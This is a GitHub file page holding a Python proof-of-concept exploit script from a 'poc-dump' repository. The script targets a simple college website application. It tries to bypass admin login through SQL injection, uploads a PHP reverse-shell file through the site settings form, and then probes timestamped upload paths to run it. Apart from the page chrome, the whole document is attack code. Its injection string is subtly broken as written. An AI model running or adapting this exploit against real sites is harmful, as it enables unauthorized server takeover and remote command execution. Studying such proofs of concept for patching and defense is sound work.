

main

...

[poc-dump](#) / [simplecollegewebsite](#) / [sql_i_rce.py](#) / <> Jump to

yunaranyancat Create sql_i_rce.py

History

1 contributor

35 lines (28 sloc) | 942 Bytes

...

```
1  #!/usr/bin/python3
2
3  import requests
4  import time
5
6  def sql_i_admin():
7      s = requests.Session()
8      data = {"username": "admin" or "1=1", "password": "hacked"}
9      adminlogin = "http://[TARGET URL]/college_website/admin/ajax.php?action=login"
10     s.post(adminlogin, data=data)
11     return s
12
13 def trigger_rce(session):
14     starttime = int(time.time())
15     multipart_form_data = {
16         "name": ("College of Hackers"),
17         "email": ("test@test.com"),
18         "contact": ("+11111111111"),
19         "about": ("Nothing much about it"),
20         "img": ("revshell.php", open("revshell.php", "rb"))
21     }
22     session.post("http://[TARGET URL]/alumni/admin/ajax.php?action=save_settings", files=multipart_form_data)
23     get_shell(starttime-100, starttime+100, session)
24
25
26 def get_shell(start, end, session):
27     for i in range(start, end):
28         session.get("http://[TARGET URL]/alumni/admin/assets/uploads/"+str(i)+"_revshell.php")
29
30 def main():
31     session = sql_i_admin()
32     trigger_rce(session)
33
34 if __name__ == '__main__':
35     main()
```